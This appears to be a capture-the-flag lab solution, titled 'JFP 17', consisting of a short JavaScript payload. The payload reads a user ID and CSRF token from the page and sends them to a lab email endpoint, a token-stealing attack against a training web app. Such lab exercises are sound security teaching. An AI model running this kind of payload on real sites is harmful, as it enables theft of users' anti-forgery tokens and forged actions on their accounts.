JFP 17 Solution [csrf token stealing]

(function(){var reqHandel = new XMLHttpRequest();
console.log('declared! onready');
reqHandel.onreadystatechange = function(){
 if (this.readyState == 4 && this.status == 200){
  document.querySelector('#result').innerText = reqHandel.responseText;
 }
}

var url = 'http://.com/lab/webapp/jfp/17/email?uid='+document.querySelector('#uid').innerText.split(':')[1]+ '&csrf_token=' + document.querySelector('#csrf').innerText.split(':')[1];;
reqHandel.open('GET',url,true);
reqHandel.send();
})()